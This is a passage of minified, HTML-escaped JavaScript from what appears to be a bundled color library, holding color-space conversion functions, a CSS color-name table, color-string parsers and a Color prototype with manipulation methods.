r=rgb[0],g=rgb[1],b=rgb[2];return[convert.rgb.hsl(rgb)[0],100*(1/255*Math.min(r,Math.min(g,b))),100*(b=1-1/255*Math.max(r,Math.max(g,b)))]},convert.rgb.cmyk=function(rgb){var k,r=rgb[0]/255,g=rgb[1]/255,b=rgb[2]/255;return[100*((1-r-(k=Math.min(1-r,1-g,1-b)))/(1-k)||0),100*((1-g-k)/(1-k)||0),100*((1-b-k)/(1-k)||0),100*k]},convert.rgb.keyword=function(rgb){var reversed=reverseKeywords[rgb];if(reversed)return reversed;var currentClosestKeyword,x,y,currentClosestDistance=1/0;for(var keyword in colorName)if(colorName.hasOwnProperty(keyword)){var value=colorName[keyword],distance=(x=rgb,y=value,Math.pow(x[0]-y[0],2)+Math.pow(x[1]-y[1],2)+Math.pow(x[2]-y[2],2));distance&lt;currentClosestDistance&amp;&amp;(currentClosestDistance=distance,currentClosestKeyword=keyword)}return currentClosestKeyword},convert.keyword.rgb=function(keyword){return colorName[keyword]},convert.rgb.xyz=function(rgb){var r=rgb[0]/255,g=rgb[1]/255,b=rgb[2]/255;return[100*(.4124*(r=r&gt;.04045?Math.pow((r+.055)/1.055,2.4):r/12.92)+.3576*(g=g&gt;.04045?Math.pow((g+.055)/1.055,2.4):g/12.92)+.1805*(b=b&gt;.04045?Math.pow((b+.055)/1.055,2.4):b/12.92)),100*(.2126*r+.7152*g+.0722*b),100*(.0193*r+.1192*g+.9505*b)]},convert.rgb.lab=function(rgb){var xyz=convert.rgb.xyz(rgb),x=xyz[0],y=xyz[1],z=xyz[2];return y/=100,z/=108.883,x=(x/=95.047)&gt;.008856?Math.pow(x,1/3):7.787*x+16/116,[116*(y=y&gt;.008856?Math.pow(y,1/3):7.787*y+16/116)-16,500*(x-y),200*(y-(z=z&gt;.008856?Math.pow(z,1/3):7.787*z+16/116))]},convert.hsl.rgb=function(hsl){var t1,t2,t3,rgb,val,h=hsl[0]/360,s=hsl[1]/100,l=hsl[2]/100;if(0===s)return[val=255*l,val,val];t1=2*l-(t2=l&lt;.5?l*(1+s):l+s-l*s),rgb=[0,0,0];for(var i=0;i&lt;3;i++)(t3=h+1/3*-(i-1))&lt;0&amp;&amp;t3++,t3&gt;1&amp;&amp;t3--,val=6*t3&lt;1?t1+6*(t2-t1)*t3:2*t3&lt;1?t2:3*t3&lt;2?t1+(t2-t1)*(2/3-t3)*6:t1,rgb[i]=255*val;return rgb},convert.hsl.hsv=function(hsl){var h=hsl[0],s=hsl[1]/100,l=hsl[2]/100,smin=s,lmin=Math.max(l,.01);return s*=(l*=2)&lt;=1?l:2-l,smin*=lmin&lt;=1?lmin:2-lmin,[h,100*(0===l?2*smin/(lmin+smin):2*s/(l+s)),100*((l+s)/2)]},convert.hsv.rgb=function(hsv){var h=hsv[0]/60,s=hsv[1]/100,v=hsv[2]/100,hi=Math.floor(h)%6,f=h-Math.floor(h),p=255*v*(1-s),q=255*v*(1-s*f),t=255*v*(1-s*(1-f));switch(v*=255,hi){case 0:return[v,t,p];case 1:return[q,v,p];case 2:return[p,v,t];case 3:return[p,q,v];case 4:return[t,p,v];case 5:return[v,p,q]}},convert.hsv.hsl=function(hsv){var lmin,sl,l,h=hsv[0],s=hsv[1]/100,v=hsv[2]/100,vmin=Math.max(v,.01);return l=(2-s)*v,sl=s*vmin,[h,100*(sl=(sl/=(lmin=(2-s)*vmin)&lt;=1?lmin:2-lmin)||0),100*(l/=2)]},convert.hwb.rgb=function(hwb){var i,v,f,n,r,g,b,h=hwb[0]/360,wh=hwb[1]/100,bl=hwb[2]/100,ratio=wh+bl;switch(ratio&gt;1&amp;&amp;(wh/=ratio,bl/=ratio),f=6*h-(i=Math.floor(6*h)),0!=(1&amp;i)&amp;&amp;(f=1-f),n=wh+f*((v=1-bl)-wh),i){default:case 6:case 0:r=v,g=n,b=wh;break;case 1:r=n,g=v,b=wh;break;case 2:r=wh,g=v,b=n;break;case 3:r=wh,g=n,b=v;break;case 4:r=n,g=wh,b=v;break;case 5:r=v,g=wh,b=n}return[255*r,255*g,255*b]},convert.cmyk.rgb=function(cmyk){var c=cmyk[0]/100,m=cmyk[1]/100,y=cmyk[2]/100,k=cmyk[3]/100;return[255*(1-Math.min(1,c*(1-k)+k)),255*(1-Math.min(1,m*(1-k)+k)),255*(1-Math.min(1,y*(1-k)+k))]},convert.xyz.rgb=function(xyz){var r,g,b,x=xyz[0]/100,y=xyz[1]/100,z=xyz[2]/100;return g=-.9689*x+1.8758*y+.0415*z,b=.0557*x+-.204*y+1.057*z,r=(r=3.2406*x+-1.5372*y+-.4986*z)&gt;.0031308?1.055*Math.pow(r,1/2.4)-.055:12.92*r,g=g&gt;.0031308?1.055*Math.pow(g,1/2.4)-.055:12.92*g,b=b&gt;.0031308?1.055*Math.pow(b,1/2.4)-.055:12.92*b,[255*(r=Math.min(Math.max(0,r),1)),255*(g=Math.min(Math.max(0,g),1)),255*(b=Math.min(Math.max(0,b),1))]},convert.xyz.lab=function(xyz){var x=xyz[0],y=xyz[1],z=xyz[2];return y/=100,z/=108.883,x=(x/=95.047)&gt;.008856?Math.pow(x,1/3):7.787*x+16/116,[116*(y=y&gt;.008856?Math.pow(y,1/3):7.787*y+16/116)-16,500*(x-y),200*(y-(z=z&gt;.008856?Math.pow(z,1/3):7.787*z+16/116))]},convert.lab.xyz=function(lab){var x,y,z,l=lab[0];x=lab[1]/500+(y=(l+16)/116),z=y-lab[2]/200;var y2=Math.pow(y,3),x2=Math.pow(x,3),z2=Math.pow(z,3);return y=y2&gt;.008856?y2:(y-16/116)/7.787,x=x2&gt;.008856?x2:(x-16/116)/7.787,z=z2&gt;.008856?z2:(z-16/116)/7.787,[x*=95.047,y*=100,z*=108.883]},convert.lab.lch=function(lab){var h,l=lab[0],a=lab[1],b=lab[2];return(h=360*Math.atan2(b,a)/2/Math.PI)&lt;0&amp;&amp;(h+=360),[l,Math.sqrt(a*a+b*b),h]},convert.lch.lab=function(lch){var hr,l=lch[0],c=lch[1];return hr=lch[2]/360*2*Math.PI,[l,c*Math.cos(hr),c*Math.sin(hr)]},convert.rgb.ansi16=function(args){var r=args[0],g=args[1],b=args[2],value=1 in arguments?arguments[1]:convert.rgb.hsv(args)[2];if(0===(value=Math.round(value/50)))return 30;var ansi=30+(Math.round(b/255)&lt;&lt;2|Math.round(g/255)&lt;&lt;1|Math.round(r/255));return 2===value&amp;&amp;(ansi+=60),ansi},convert.hsv.ansi16=function(args){return convert.rgb.ansi16(convert.hsv.rgb(args),args[2])},convert.rgb.ansi256=function(args){var r=args[0],g=args[1],b=args[2];return r===g&amp;&amp;g===b?r&lt;8?16:r&gt;248?231:Math.round((r-8)/247*24)+232:16+36*Math.round(r/255*5)+6*Math.round(g/255*5)+Math.round(b/255*5)},convert.ansi16.rgb=function(args){var color=args%10;if(0===color||7===color)return args&gt;50&amp;&amp;(color+=3.5),[color=color/10.5*255,color,color];var mult=.5*(1+~~(args&gt;50));return[(1&amp;color)*mult*255,(color&gt;&gt;1&amp;1)*mult*255,(color&gt;&gt;2&amp;1)*mult*255]},convert.ansi256.rgb=function(args){if(args&gt;=232){var c=10*(args-232)+8;return[c,c,c]}var rem;return args-=16,[Math.floor(args/36)/5*255,Math.floor((rem=args%36)/6)/5*255,rem%6/5*255]},convert.rgb.hex=function(args){var string=(((255&amp;Math.round(args[0]))&lt;&lt;16)+((255&amp;Math.round(args[1]))&lt;&lt;8)+(255&amp;Math.round(args[2]))).toString(16).toUpperCase();return&quot;000000&quot;.substring(string.length)+string},convert.hex.rgb=function(args){var match=args.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!match)return[0,0,0];var colorString=match[0];3===match[0].length&amp;&amp;(colorString=colorString.split(&quot;&quot;).map((function(char){return char+char})).join(&quot;&quot;));var integer=parseInt(colorString,16);return[integer&gt;&gt;16&amp;255,integer&gt;&gt;8&amp;255,255&amp;integer]},convert.rgb.hcg=function(rgb){var hue,r=rgb[0]/255,g=rgb[1]/255,b=rgb[2]/255,max=Math.max(Math.max(r,g),b),min=Math.min(Math.min(r,g),b),chroma=max-min;return hue=chroma&lt;=0?0:max===r?(g-b)/chroma%6:max===g?2+(b-r)/chroma:4+(r-g)/chroma+4,hue/=6,[360*(hue%=1),100*chroma,100*(chroma&lt;1?min/(1-chroma):0)]},convert.hsl.hcg=function(hsl){var s=hsl[1]/100,l=hsl[2]/100,c=1,f=0;return(c=l&lt;.5?2*s*l:2*s*(1-l))&lt;1&amp;&amp;(f=(l-.5*c)/(1-c)),[hsl[0],100*c,100*f]},convert.hsv.hcg=function(hsv){var s=hsv[1]/100,v=hsv[2]/100,c=s*v,f=0;return c&lt;1&amp;&amp;(f=(v-c)/(1-c)),[hsv[0],100*c,100*f]},convert.hcg.rgb=function(hcg){var h=hcg[0]/360,c=hcg[1]/100,g=hcg[2]/100;if(0===c)return[255*g,255*g,255*g];var mg,pure=[0,0,0],hi=h%1*6,v=hi%1,w=1-v;switch(Math.floor(hi)){case 0:pure[0]=1,pure[1]=v,pure[2]=0;break;case 1:pure[0]=w,pure[1]=1,pure[2]=0;break;case 2:pure[0]=0,pure[1]=1,pure[2]=v;break;case 3:pure[0]=0,pure[1]=w,pure[2]=1;break;case 4:pure[0]=v,pure[1]=0,pure[2]=1;break;default:pure[0]=1,pure[1]=0,pure[2]=w}return mg=(1-c)*g,[255*(c*pure[0]+mg),255*(c*pure[1]+mg),255*(c*pure[2]+mg)]},convert.hcg.hsv=function(hcg){var c=hcg[1]/100,v=c+hcg[2]/100*(1-c),f=0;return v&gt;0&amp;&amp;(f=c/v),[hcg[0],100*f,100*v]},convert.hcg.hsl=function(hcg){var c=hcg[1]/100,l=hcg[2]/100*(1-c)+.5*c,s=0;return l&gt;0&amp;&amp;l&lt;.5?s=c/(2*l):l&gt;=.5&amp;&amp;l&lt;1&amp;&amp;(s=c/(2*(1-l))),[hcg[0],100*s,100*l]},convert.hcg.hwb=function(hcg){var c=hcg[1]/100,v=c+hcg[2]/100*(1-c);return[hcg[0],100*(v-c),100*(1-v)]},convert.hwb.hcg=function(hwb){var w=hwb[1]/100,v=1-hwb[2]/100,c=v-w,g=0;return c&lt;1&amp;&amp;(g=(v-c)/(1-c)),[hwb[0],100*c,100*g]},convert.apple.rgb=function(apple){return[apple[0]/65535*255,apple[1]/65535*255,apple[2]/65535*255]},convert.rgb.apple=function(rgb){return[rgb[0]/255*65535,rgb[1]/255*65535,rgb[2]/255*65535]},convert.gray.rgb=function(args){return[args[0]/100*255,args[0]/100*255,args[0]/100*255]},convert.gray.hsl=convert.gray.hsv=function(args){return[0,0,args[0]]},convert.gray.hwb=function(gray){return[0,100,gray[0]]},convert.gray.cmyk=function(gray){return[0,0,0,gray[0]]},convert.gray.lab=function(gray){return[gray[0],0,0]},convert.gray.hex=function(gray){var val=255&amp;Math.round(gray[0]/100*255),string=((val&lt;&lt;16)+(val&lt;&lt;8)+val).toString(16).toUpperCase();return&quot;000000&quot;.substring(string.length)+string},convert.rgb.gray=function(rgb){return[(rgb[0]+rgb[1]+rgb[2])/3/255*100]}}));conversions.rgb,conversions.hsl,conversions.hsv,conversions.hwb,conversions.cmyk,conversions.xyz,conversions.lab,conversions.lch,conversions.hex,conversions.keyword,conversions.ansi16,conversions.ansi256,conversions.hcg,conversions.apple,conversions.gray;function deriveBFS(fromModel){var graph=function(){for(var graph={},models=Object.keys(conversions),len=models.length,i=0;i&lt;len;i++)graph[models[i]]={distance:-1,parent:null};return graph}(),queue=[fromModel];for(graph[fromModel].distance=0;queue.length;)for(var current=queue.pop(),adjacents=Object.keys(conversions[current]),len=adjacents.length,i=0;i&lt;len;i++){var adjacent=adjacents[i],node=graph[adjacent];-1===node.distance&amp;&amp;(node.distance=graph[current].distance+1,node.parent=current,queue.unshift(adjacent))}return graph}function link(from,to){return function(args){return to(from(args))}}function wrapConversion(toModel,graph){for(var path=[graph[toModel].parent,toModel],fn=conversions[graph[toModel].parent][toModel],cur=graph[toModel].parent;graph[cur].parent;)path.unshift(graph[cur].parent),fn=link(conversions[graph[cur].parent][cur],fn),cur=graph[cur].parent;return fn.conversion=path,fn}var convert={};Object.keys(conversions).forEach((function(fromModel){convert[fromModel]={},Object.defineProperty(convert[fromModel],&quot;channels&quot;,{value:conversions[fromModel].channels}),Object.defineProperty(convert[fromModel],&quot;labels&quot;,{value:conversions[fromModel].labels});var routes=function(fromModel){for(var graph=deriveBFS(fromModel),conversion={},models=Object.keys(graph),len=models.length,i=0;i&lt;len;i++){var toModel=models[i];null!==graph[toModel].parent&amp;&amp;(conversion[toModel]=wrapConversion(toModel,graph))}return conversion}(fromModel);Object.keys(routes).forEach((function(toModel){var fn=routes[toModel];convert[fromModel][toModel]=function(fn){var wrappedFn=function(args){if(null==args)return args;arguments.length&gt;1&amp;&amp;(args=Array.prototype.slice.call(arguments));var result=fn(args);if(&quot;object&quot;==typeof result)for(var len=result.length,i=0;i&lt;len;i++)result[i]=Math.round(result[i]);return result};return&quot;conversion&quot;in fn&amp;&amp;(wrappedFn.conversion=fn.conversion),wrappedFn}(fn),convert[fromModel][toModel].raw=function(fn){var wrappedFn=function(args){return null==args?args:(arguments.length&gt;1&amp;&amp;(args=Array.prototype.slice.call(arguments)),fn(args))};return&quot;conversion&quot;in fn&amp;&amp;(wrappedFn.conversion=fn.conversion),wrappedFn}(fn)}))}));var colorConvert=convert,colorName$1={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},colorString={getRgba:getRgba,getHsla:getHsla,getRgb:function(string){var rgba=getRgba(string);return rgba&amp;&amp;rgba.slice(0,3)},getHsl:function(string){var hsla=getHsla(string);return hsla&amp;&amp;hsla.slice(0,3)},getHwb:getHwb,getAlpha:function(string){var vals=getRgba(string);if(vals)return vals[3];if(vals=getHsla(string))return vals[3];if(vals=getHwb(string))return vals[3]},hexString:function(rgba,a){a=void 0!==a&amp;&amp;3===rgba.length?a:rgba[3];return&quot;#&quot;+hexDouble(rgba[0])+hexDouble(rgba[1])+hexDouble(rgba[2])+(a&gt;=0&amp;&amp;a&lt;1?hexDouble(Math.round(255*a)):&quot;&quot;)},rgbString:function(rgba,alpha){if(alpha&lt;1||rgba[3]&amp;&amp;rgba[3]&lt;1)return rgbaString(rgba,alpha);return&quot;rgb(&quot;+rgba[0]+&quot;, &quot;+rgba[1]+&quot;, &quot;+rgba[2]+&quot;)&quot;},rgbaString:rgbaString,percentString:function(rgba,alpha){if(alpha&lt;1||rgba[3]&amp;&amp;rgba[3]&lt;1)return percentaString(rgba,alpha);var r=Math.round(rgba[0]/255*100),g=Math.round(rgba[1]/255*100),b=Math.round(rgba[2]/255*100);return&quot;rgb(&quot;+r+&quot;%, &quot;+g+&quot;%, &quot;+b+&quot;%)&quot;},percentaString:percentaString,hslString:function(hsla,alpha){if(alpha&lt;1||hsla[3]&amp;&amp;hsla[3]&lt;1)return hslaString(hsla,alpha);return&quot;hsl(&quot;+hsla[0]+&quot;, &quot;+hsla[1]+&quot;%, &quot;+hsla[2]+&quot;%)&quot;},hslaString:hslaString,hwbString:function(hwb,alpha){void 0===alpha&amp;&amp;(alpha=void 0!==hwb[3]?hwb[3]:1);return&quot;hwb(&quot;+hwb[0]+&quot;, &quot;+hwb[1]+&quot;%, &quot;+hwb[2]+&quot;%&quot;+(void 0!==alpha&amp;&amp;1!==alpha?&quot;, &quot;+alpha:&quot;&quot;)+&quot;)&quot;},keyword:function(rgb){return reverseNames[rgb.slice(0,3)]}};function getRgba(string){if(string){var rgb=[0,0,0],a=1,match=string.match(/^#([a-fA-F0-9]{3,4})$/i),hexAlpha=&quot;&quot;;if(match){hexAlpha=(match=match[1])[3];for(var i=0;i&lt;rgb.length;i++)rgb[i]=parseInt(match[i]+match[i],16);hexAlpha&amp;&amp;(a=Math.round(parseInt(hexAlpha+hexAlpha,16)/255*100)/100)}else if(match=string.match(/^#([a-fA-F0-9]{6}([a-fA-F0-9]{2})?)$/i)){hexAlpha=match[2],match=match[1];for(i=0;i&lt;rgb.length;i++)rgb[i]=parseInt(match.slice(2*i,2*i+2),16);hexAlpha&amp;&amp;(a=Math.round(parseInt(hexAlpha,16)/255*100)/100)}else if(match=string.match(/^rgba?\(\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(i=0;i&lt;rgb.length;i++)rgb[i]=parseInt(match[i+1]);a=parseFloat(match[4])}else if(match=string.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(i=0;i&lt;rgb.length;i++)rgb[i]=Math.round(2.55*parseFloat(match[i+1]));a=parseFloat(match[4])}else if(match=string.match(/(\w+)/)){if(&quot;transparent&quot;==match[1])return[0,0,0,0];if(!(rgb=colorName$1[match[1]]))return}for(i=0;i&lt;rgb.length;i++)rgb[i]=scale(rgb[i],0,255);return a=a||0==a?scale(a,0,1):1,rgb[3]=a,rgb}}function getHsla(string){if(string){var match=string.match(/^hsla?\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(match){var alpha=parseFloat(match[4]);return[scale(parseInt(match[1]),0,360),scale(parseFloat(match[2]),0,100),scale(parseFloat(match[3]),0,100),scale(isNaN(alpha)?1:alpha,0,1)]}}}function getHwb(string){if(string){var match=string.match(/^hwb\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(match){var alpha=parseFloat(match[4]);return[scale(parseInt(match[1]),0,360),scale(parseFloat(match[2]),0,100),scale(parseFloat(match[3]),0,100),scale(isNaN(alpha)?1:alpha,0,1)]}}}function rgbaString(rgba,alpha){return void 0===alpha&amp;&amp;(alpha=void 0!==rgba[3]?rgba[3]:1),&quot;rgba(&quot;+rgba[0]+&quot;, &quot;+rgba[1]+&quot;, &quot;+rgba[2]+&quot;, &quot;+alpha+&quot;)&quot;}function percentaString(rgba,alpha){return&quot;rgba(&quot;+Math.round(rgba[0]/255*100)+&quot;%, &quot;+Math.round(rgba[1]/255*100)+&quot;%, &quot;+Math.round(rgba[2]/255*100)+&quot;%, &quot;+(alpha||rgba[3]||1)+&quot;)&quot;}function hslaString(hsla,alpha){return void 0===alpha&amp;&amp;(alpha=void 0!==hsla[3]?hsla[3]:1),&quot;hsla(&quot;+hsla[0]+&quot;, &quot;+hsla[1]+&quot;%, &quot;+hsla[2]+&quot;%, &quot;+alpha+&quot;)&quot;}function scale(num,min,max){return Math.min(Math.max(min,num),max)}function hexDouble(num){var str=num.toString(16).toUpperCase();return str.length&lt;2?&quot;0&quot;+str:str}var reverseNames={};for(var name in colorName$1)reverseNames[colorName$1[name]]=name;var Color=function(obj){return obj instanceof Color?obj:this instanceof Color?(this.valid=!1,this.values={rgb:[0,0,0],hsl:[0,0,0],hsv:[0,0,0],hwb:[0,0,0],cmyk:[0,0,0,0],alpha:1},void(&quot;string&quot;==typeof obj?(vals=colorString.getRgba(obj))?this.setValues(&quot;rgb&quot;,vals):(vals=colorString.getHsla(obj))?this.setValues(&quot;hsl&quot;,vals):(vals=colorString.getHwb(obj))&amp;&amp;this.setValues(&quot;hwb&quot;,vals):&quot;object&quot;==typeof obj&amp;&amp;(void 0!==(vals=obj).r||void 0!==vals.red?this.setValues(&quot;rgb&quot;,vals):void 0!==vals.l||void 0!==vals.lightness?this.setValues(&quot;hsl&quot;,vals):void 0!==vals.v||void 0!==vals.value?this.setValues(&quot;hsv&quot;,vals):void 0!==vals.w||void 0!==vals.whiteness?this.setValues(&quot;hwb&quot;,vals):void 0===vals.c&amp;&amp;void 0===vals.cyan||this.setValues(&quot;cmyk&quot;,vals)))):new Color(obj);var vals};Color.prototype={isValid:function(){return this.valid},rgb:function(){return this.setSpace(&quot;rgb&quot;,arguments)},hsl:function(){return this.setSpace(&quot;hsl&quot;,arguments)},hsv:function(){return this.setSpace(&quot;hsv&quot;,arguments)},hwb:function(){return this.setSpace(&quot;hwb&quot;,arguments)},cmyk:function(){return this.setSpace(&quot;cmyk&quot;,arguments)},rgbArray:function(){return this.values.rgb},hslArray:function(){return this.values.hsl},hsvArray:function(){return this.values.hsv},hwbArray:function(){var values=this.values;return 1!==values.alpha?values.hwb.concat([values.alpha]):values.hwb},cmykArray:function(){return this.values.cmyk},rgbaArray:function(){var values=this.values;return values.rgb.concat([values.alpha])},hslaArray:function(){var values=this.values;return values.hsl.concat([values.alpha])},alpha:function(val){return void 0===val?this.values.alpha:(this.setValues(&quot;alpha&quot;,val),this)},red:function(val){return this.setChannel(&quot;rgb&quot;,0,val)},green:function(val){return this.setChannel(&quot;rgb&quot;,1,val)},blue:function(val){return this.setChannel(&quot;rgb&quot;,2,val)},hue:function(val){return val&amp;&amp;(val=(val%=360)&lt;0?360+val:val),this.setChannel(&quot;hsl&quot;,0,val)},saturation:function(val){return this.setChannel(&quot;hsl&quot;,1,val)},lightness:function(val){return this.setChannel(&quot;hsl&quot;,2,val)},saturationv:function(val){return this.setChannel(&quot;hsv&quot;,1,val)},whiteness:function(val){return this.setChannel(&quot;hwb&quot;,1,val)},blackness:function(val){return this.setChannel(&quot;hwb&quot;,2,val)},value:function(val){return this.setChannel(&quot;hsv&quot;,2,val)},cyan:function(val){return this.setChannel(&quot;cmyk&quot;,0,val)},magenta:function(val){return this.setChannel(&quot;cmyk&quot;,1,val)},yellow:function(val){return this.setChannel(&quot;cmyk&quot;,2,val)},black:function(val){return this.setChannel(&quot;cmyk&quot;,3,val)},hexString:function(){return colorString.hexString(this.values.rgb)},rgbString:function(){return colorString.rgbString(this.values.rgb,this.values.alpha)},rgbaString:function(){return colorString.rgbaString(this.values.rgb,this.values.alpha)},percentString:function(){return colorString.percentString(this.values.rgb,this.values.alpha)},hslString:function(){return colorString.hslString(this.values.hsl,this.values.alpha)},hslaString:function(){return colorString.hslaString(this.values.hsl,this.values.alpha)},hwbString:function(){return colorString.hwbString(this.values.hwb,this.values.alpha)},keyword:function(){return colorString.keyword(this.values.rgb,this.values.alpha)},rgbNumber:function(){var rgb=this.values.rgb;return rgb[0]&lt;&lt;16|rgb[1]&lt;&lt;8|rgb[2]},luminosity:function(){for(var rgb=this.values.rgb,lum=[],i=0;i&lt;rgb.length;i++){var chan=rgb[i]/255;lum[i]=chan&lt;=.03928?chan/12.92:Math.pow((chan+.055)/1.055,2.4)}return.2126*lum[0]+.7152*lum[1]+.0722*lum[2]},contrast:function(color2){var lum1=this.luminosity(),lum2=color2.luminosity();return lum1&gt;lum2?(lum1+.05)/(lum2+.05):(lum2+.05)/(lum1+.05)},level:function(color2){var contrastRatio=this.contrast(color2);return contrastRatio&gt;=7.1?&quot;AAA&quot;:contrastRatio&gt;=4.5?&quot;AA&quot;:&quot;&quot;},dark:function(){var rgb=this.values.rgb;return(299*rgb[0]+587*rgb[1]+114*rgb[2])/1e3&lt;128},light:function(){return!this.dark()},negate:function(){for(var rgb=[],i=0;i&lt;3;i++)rgb[i]=255-this.values.rgb[i];return this.setValues(&quot;rgb&quot;,rgb),this},lighten:function(ratio){var hsl=this.values.hsl;return hsl[2]+=hsl[2]*ratio,this.setValues(&quot;hsl&quot;,hsl),this},darken:function(ratio){var hsl=this.values.hsl;return hsl[2]-=hsl[2]*ratio,this.setValues(&quot;hsl&quot;,hsl),this},saturate:function(ratio){var hsl=this.values.hsl;return hsl[1]+=hsl[1]*ratio,this.setValues(&quot;hsl&quot;,hsl),this},desaturate:function(ratio){var hsl=this.values.hsl;return hsl[1]-=hsl[1]*ratio,this.setValues(&quot;hsl&quot;,hsl),this},whiten:function(ratio){var hwb=this.values.hwb;return hwb[1]+=hwb[1]*ratio,this.setValues(&quot;hwb&quot;,hwb),this},blacken:function(ratio){var hwb=this.values.hwb;return hwb[2]+=hwb[2]*ratio,this.setValues(&quot;hwb&quot;,hwb),this},greyscale:function(){var rgb=this.values.rgb,val=.3*rgb[0]+.59*rgb[1]+.11*rgb[2];return this.setValues(&quot;rgb&quot;,[val,val,val]),this},clearer:function(ratio){var alpha=this.values.alpha;return this.setValues(&quot;alpha&quot;,alpha-alpha*ratio),this},opaquer:function(ratio){var alpha=this.values.alpha;return this.setValues(&quot;alpha&quot;,alpha+alpha*ratio),this},rotate:function(degrees){var hsl=this.values.hsl,hue=(hsl[0]+degrees)%360;return hsl[0]=hue&lt;0?360+hue:hue,this.setValues(&quot;hsl&quot;,hsl),this},mix:function(mixinColor,weight){var color2=mixinColor,p=void 0===weight?.5:weight,w=2*p-1,a=this.alpha()-color2.alpha(),w1=((w*a==-1?w:(w+a)/(1+w*a))+1)/2,w2=1-w1;return this.rgb(w1*this.red()+w2*color2.red(),w1*this.green()+w2*color2.green(),w1*this.blue()+w2*color2.blue()).alpha(this.alpha()*p+color2.alpha()*(1-p))},toJSON:function(){return this.rgb()},clone:function(){var value,type,result=new Color,source=this.values,target=result.values;for(var prop in source)source.hasOwnProperty(prop)&amp;&amp;(value=source[prop],&quot;[object Array]&quot;===(type={}.toString.call(value))?target[prop]=value.slice(0):&quot;[object Number]&quot;===type?target[prop]=value:console.error(&quot;unexpected color value:&quot;,value));return result}},Color.prototype.spaces={rgb:[&quot;red&quot;,&quot;green&quot;,&quot;blue&quot;],hsl:[&quot;hue&quot;,&quot;saturation&quot;,&quot;lightness&quot;],hsv:[&quot;hue&quot;,&quot;saturation&quot;,&quot;value&quot;],hwb:[&quot;hue&quot;,&quot;whiteness&quot;,&quot;blackness&quot;],cmyk:[&quot;cyan&quot;,&quot;magenta&quot;,&quot;yellow&quot;,&quot;black&quot;]},Color.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},Color.prototype.getValues=function(space){for(var values=this.values,vals={},i=0;i&lt;space.length;i++)vals[space.charAt(i)]=values[space][i];return 